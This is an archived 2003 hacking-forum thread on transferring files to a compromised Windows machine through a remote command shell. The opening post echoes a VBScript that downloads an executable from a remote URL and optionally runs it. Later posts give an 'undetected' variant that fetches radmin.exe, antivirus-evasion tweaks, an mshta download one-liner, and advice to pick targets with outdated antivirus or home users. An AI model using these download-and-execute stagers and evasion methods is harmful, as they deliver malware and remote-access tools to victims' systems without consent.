boshcash
Nov 27 2003, 03:51 PM
I strongly recommend writing the exe using debug method if you are an experienced user here http://www.governmentsecurity.org/forum/in...?showtopic=7255This way is simple and is an addition to all ways that usually failed , lots of ppl asking what i can do with a cmd shell , and the known ways may all fail , which are tftp(may timeout) , ftp (may not connect correctly to server and also needs an ftp server and u must echo ur usr and pass if it doesnt allow anon. access ) , and net share commands ( mostly blocked by all ISPs now after the rpc exploit) This way works by echoing a vbs file , and running that vbs file downloads an exe from an http site then executes it , u may remove execution from the vbs code (do what u wanna do) I stole that code from the known IE object data vuln, and adding echoing to it, here 's the text which should be put in the shell | CODE | echo Dim DataBin>c:\madefile.vbs echo Dim HTTPGET>>c:\madefile.vbs echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP")>>c:\madefile.vbs echo HTTPGET.Open "GET", "http://www.samplesite.com/file.exe", False>>c:\madefile.vbs echo HTTPGET.Send>>c:\madefile.vbs echo DataBin = HTTPGET.ResponseBody>>c:\madefile.vbs echo Const adTypeBinary=1>>c:\madefile.vbs echo Const adSaveCreateOverWrite=2>>c:\madefile.vbs echo Dim SendBinary>>c:\madefile.vbs echo Set SendBinary = CreateObject("ADODB.Stream")>>c:\madefile.vbs echo SendBinary.Type = adTypeBinary>>c:\madefile.vbs echo SendBinary.Open>>c:\madefile.vbs echo SendBinary.Write DataBin>>c:\madefile.vbs echo SendBinary.SaveToFile "c:\file.exe", adSaveCreateOverWrite>>c:\madefile.vbs |
If u want to add Execution After Download , it would get detected by AVs : simply add :
| CODE | echo Dim WshShell>>c:\madefile.vbs echo Set WshShell = CreateObject("WScript.Shell")>>c:\madefile.vbs echo WshShell.Run "c:\eject.exe", 0, false>>c:\madefile.vbs |
u can replace the enter command that replaces everyline with "&" to make the command one time , but sometimes it hangs up the cmd shell , so be careful
Here is the UNDETECTED version by tianzhen :
| CODE | echo Set xPost = CreateObject("Microsoft.XMLHTTP") >webdown.vbs echo xPost.Open "GET","http://www.finemakeit.com/client/_notes/radmin.exe",0 >>webdown.vbs echo xPost.Send() >>webdown.vbs echo Set sGet = CreateObject("ADODB.Stream") >>webdown.vbs echo sGet.Mode = 3 >>webdown.vbs echo sGet.Type = 1 >>webdown.vbs echo sGet.Open() >>webdown.vbs echo sGet.Write(xPost.responseBody) >>webdown.vbs echo sGet.SaveToFile "radmin.exe",2 >>webdown.vbs cscript webdown.vbs
|
gr33tz to all ppl , tell me ur opinion about that way !
vnet576
Nov 27 2003, 05:00 PM
This looks like a very interesting method, I'm gonna test it out and let u know how it works for me. Thanks.
c°h°
Nov 27 2003, 05:46 PM
very nice method thanx
derquakecommander
Nov 27 2003, 08:22 PM
i have test it on my private pc and thats (filtered) good  nice job dude very nice
boshcash
Nov 27 2003, 09:02 PM
i always hoped to solve this file transfer problem , and at last i found a way and it would help all the people that have problems on how to make use of their cmd shell , and that way should work 100% , not like ftp or tftp or the net share , and problems mail/msg me @ boshcash@msn.com
liquidSilver
Nov 27 2003, 09:07 PM
Hello.. Very nice indeed. Let's see if its usefull. Regards, LiquidSilver
wlingard
Nov 27 2003, 09:12 PM
This looks verrry interesting.. Great job man.. gonna test it also! Thanks!!  //SiGN
dennis28
Nov 27 2003, 10:22 PM
sweet me is going to test it
Wolfman
Nov 28 2003, 01:14 AM
I ran it on my system (WinXP SP1) and had 2 errors (see pic). Neverthless, the file still got downloaded.
Thanks for sharing.
boshcash
Nov 28 2003, 02:00 AM
well , if its an error in the last three lines , they are not required because they execute the downloaded file , so if you dont want the download to be executed after download , or u have an error at the last three lines , simply remove them so last line will be BinaryStream.SaveToFile "c:\eject.exe", adSaveCreateOverWrite , any other help mail/msg me @ boshcash@msn.com
andydis
Nov 28 2003, 03:45 PM
nice one boshcosh!, when the lovebug vbs virus thing came out i wrote a batch file that echoed the whole code and extecuted it:-) compiled the batch file to a .com and renamedthe whole thing subject: my new webpage and a domain name as the .com (the file was called a .com and icon looked like a link but it was in fact the virii) very nasty piece of work and never released it :-) the damage it could have caused :-) Diz UK
passi
Nov 28 2003, 03:59 PM
niccce  thanks dude!
Axl
Nov 29 2003, 09:23 AM
ohhhhhhhhhhh....
thats sweettt !!!
10x !!
Action
Nov 29 2003, 03:20 PM
mcafee reads it, so its quite useless
Uli
Nov 29 2003, 03:36 PM
Thanks for sharing
Flinston
Nov 29 2003, 03:36 PM
wow  thats usefull ... some unis delete tftp.exe and ftp.exe
boshcash
Nov 29 2003, 06:58 PM
"Mcafee reads this so its useless"
Actually i didnt test it with mcafee , but AVs like mcafee may say its a malicous script running , but do they stop it from running or just prompting , second thing is that i was trying to echo a vbs file that when runned turns into an exe and runs without downloading any file from web , but this file couldnt be echoed because it had a > sign , maybe i could find a solution but i think this way isnt bad , and again plz tell me if it just prompts u that a malicous script is running , or it stops it from running ..
And plz tell me which part is blocked the download part or the unecessary execution part
gman24
Nov 30 2003, 02:39 AM
Norton blocks the IE download exploit. It says it's a trojan that it isn't because the trojan most likely was dropped in that fashion. It detects the vbs files that download after they are created and about to run.
I bypassed the malicious scripting on mcafee by recoding it so the functions look different but do the same thing. I tried doing that to a greater extents after norton blocked the code that I had and detected it as that trojan. The only time it will cease detecting is if the declaration of the XML variable is removed. I'm working on trying to get around this.
daguilar01
Nov 30 2003, 10:14 AM
i have norton and it kept telling me it was malicious code, so i just removed the last line of the echo that ran the file, and now norton doesnt say its bad code, so it downloads hte file but you haev to run it yourself from the cmd prompt
boshcash
Nov 30 2003, 12:01 PM
well , i edited it to be undetected by AVs (tested with Hotmail Mcafee) , what the AV reads , is some known variables used in the IE exploit so i changed them , and also reads the execute command so i removed it all , and put it under the vbs echo code if some ppl wanna use it , any more problems/comments ?
net
Nov 30 2003, 09:58 PM
perfect thing.. thanx for sharing m8
gman24
Nov 30 2003, 10:37 PM
| QUOTE (boshcash @ Nov 30 2003, 12:01 PM) | | well , i edited it to be undetected by AVs (tested with Hotmail Mcafee) , what the AV reads , is some known variables used in the IE exploit so i changed them , and also reads the execute command so i removed it all , and put it under the vbs echo code if some ppl wanna use it , any more problems/comments ? |
Ya, Norton catches it with edited variables though. It didn't originally, but someone must have done that to use it as a trojan it identifies it as.
boshcash
Dec 1 2003, 03:57 PM
mm i dont know what to do , but this way may help many ppl , and if norton detects it , i dont think that all norton versions detect it , any better idea to upload a file with cmd shell , plz tell me
bANG!
Dec 1 2003, 07:09 PM
very nice thanks
SkyRaVeR
Dec 1 2003, 10:37 PM
Real nice dude! tried and worked! never thought 'bout that kind of xferring files  greetz, sky
biboupoki
Dec 2 2003, 02:54 AM
so kewl i m goign to try it right now
VIXVVXIV
Dec 2 2003, 03:54 AM
very nice job !!!
Hardcore
Dec 2 2003, 05:56 AM
Creative idea for file transfer, but the newer corporate versions of both Norton and McAfee seem to catch this (probally due to the hueristic scanning or something now available).
So look for targets running older engines in a large scale environment...or home users.
Anyone know if Sophos or Trend detects this?
-Hardcore
Hardcore
Dec 2 2003, 05:59 AM
And as to my ABOVE COMMENT....to clarify... ONLY TEST ON ENVIRONMENTS YOU ARE DULY AUTHORIZED....  So if you own a multinational business, an ISP, or are superintendent of a school system...have at it!! -Hardcore
T3cHn0b0y
Dec 3 2003, 10:58 AM
Nice post m8!!!
Yorn
Dec 3 2003, 02:58 PM
bosh, there's an even easier way. create your .vbs file and save it as a .hta and then on the person's machine use: mshta.exe http://yourfile.com/save.htathe link to the object exploit in my .sig explains everything.
Max_Payne
Dec 3 2003, 03:12 PM
this will be useful..gonna test it and see wich AVs are still detecting it...
thanks dude
boshcash
Dec 3 2003, 06:00 PM
man i just read that way today before u posted this , but i am now thinking of a good way which is undetected by AVs to use this mshta download method , it another nice method to upload files to remote host via cmd shell , if u test it and bypasses AV , then plz tell me , for me i will try to work with the vbs2exe vbs files , maybe they will work but without execution on creation ..
net_runner
Dec 16 2003, 03:35 PM
very interesting, it's solve a lot of downloading problems, i will try i!
wlingard
Dec 17 2003, 02:57 AM
| QUOTE (Yorn @ Dec 3 2003, 02:58 PM) | bosh, there's an even easier way.
create your .vbs file and save it as a .hta and then on the person's machine use:
mshta.exe http://yourfile.com/save.hta
the link to the object exploit in my .sig explains everything. |
Man this is soooo sweet! Many thanks bud!! //WL
jubbly
Dec 17 2003, 08:30 AM
thats looks nice i'm gonna give that a go
realloader
Dec 17 2003, 09:50 AM
i can not echo this line on remote Computer: echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP")>>c:\madefile.vbs Alway when there ist "..." i can not.i only can echo: ex: echo test>c:\test.bat it is OK, but echo "test">c:\test.bat it is not OK WHY? I test on my Computer ,it goes. but when i use on remote computer it goesnt. what ist the reason? please help me!
no1
Dec 17 2003, 12:57 PM
hey great work <- test it  thx
temptation
Dec 17 2003, 02:31 PM
hi. thx for the script .. but i dunno how to execute it ... after the "echo" stuff i got a file called "madefile.vbs" .. how do i "execute" it ? is it just like an exe file .. Do i just have to "c:\madefile.vbs[ENTER]" in the shell?
thx
StandBy1
Dec 17 2003, 02:37 PM
very nice method Big thanx for Info
MfG StandBy1
boshcash
Dec 17 2003, 05:39 PM
temptation of course vbs file is run like exe , and realloader u may have a mistake in ur echoing , if u copy the exact echo with its spaces and change what is supposed to be changed it should work fine , and its tested remotely by the way .. Maybe soon i am planning to release some document about all ways to upload files to cmd shell , since i started with tftp and net share , then i increased my knowledge to the ftp method , then i made that vbs thing , and i knew after that the mshta thing , and i did other way with echoing , but its still beta thing (has some problems , but u can echo anytext u want including signs and all ..
net_runner
Dec 17 2003, 05:49 PM
line 10 show errors on execute, any idea?
| QUOTE | Set HTTPGET = CreateObject("Microsoft.XMLHTTP") HTTPGET.Open "GET", "http://hibrido.dimagna.cl/dasbest.exe", False HTTPGET.Send DataBin = HTTPGET.ResponseBody Const adTypeBinary=1 Set SendBinary = CreateObject("ADODB.Stream") SendBinary.Type = adTypeBinary SendBinary.Open SendBinary.Write DataBin SendBinary.SaveToFile "c:\dasbest.exe", adSaveCreateOverWrite |
boshcash
Dec 17 2003, 06:00 PM
now i cant get out the error , but remake the code from the original one it works 100%
realloader
Dec 17 2003, 06:17 PM
@boshcash no..no..i really can not echo it. echo Dim DataBin>c:\madefile.vbs echo Dim HTTPGET>>c:\madefile.vbs echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP")>>c:\madefile.vbs echo HTTPGET.Open "GET", "http://www.samplesite.com/file.exe", False>>c:\madefile.vbs the first 2 lines it work...but the 3. and 4.th it doesnt work.
the ip to test it i give u in ur PM. Is there other to echo the sign "test" ?
esorone
Dec 17 2003, 06:35 PM
Nice coding m8,
Testen on a local network and it did work :-)
Great
GogetaSSJ4
Dec 17 2003, 06:42 PM
Tnx, very nice method, but it don't work always  Any FW stop it  bye
boshcash
Dec 17 2003, 06:55 PM
well , users having firewalls i dont suggest dealing with them with that way , i dont like to bind a cmdshell on a port i dont like
saiko13
Dec 18 2003, 09:41 AM
very nicely done... but has as flaws equal to the other ones... but still very nice and usefull!  THX A BuncH!!
thegeek
Dec 18 2003, 12:14 PM
Thanks man, great work:)
UnDeRTaKeR
Dec 18 2003, 04:06 PM
C00L ! Nice Method!
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|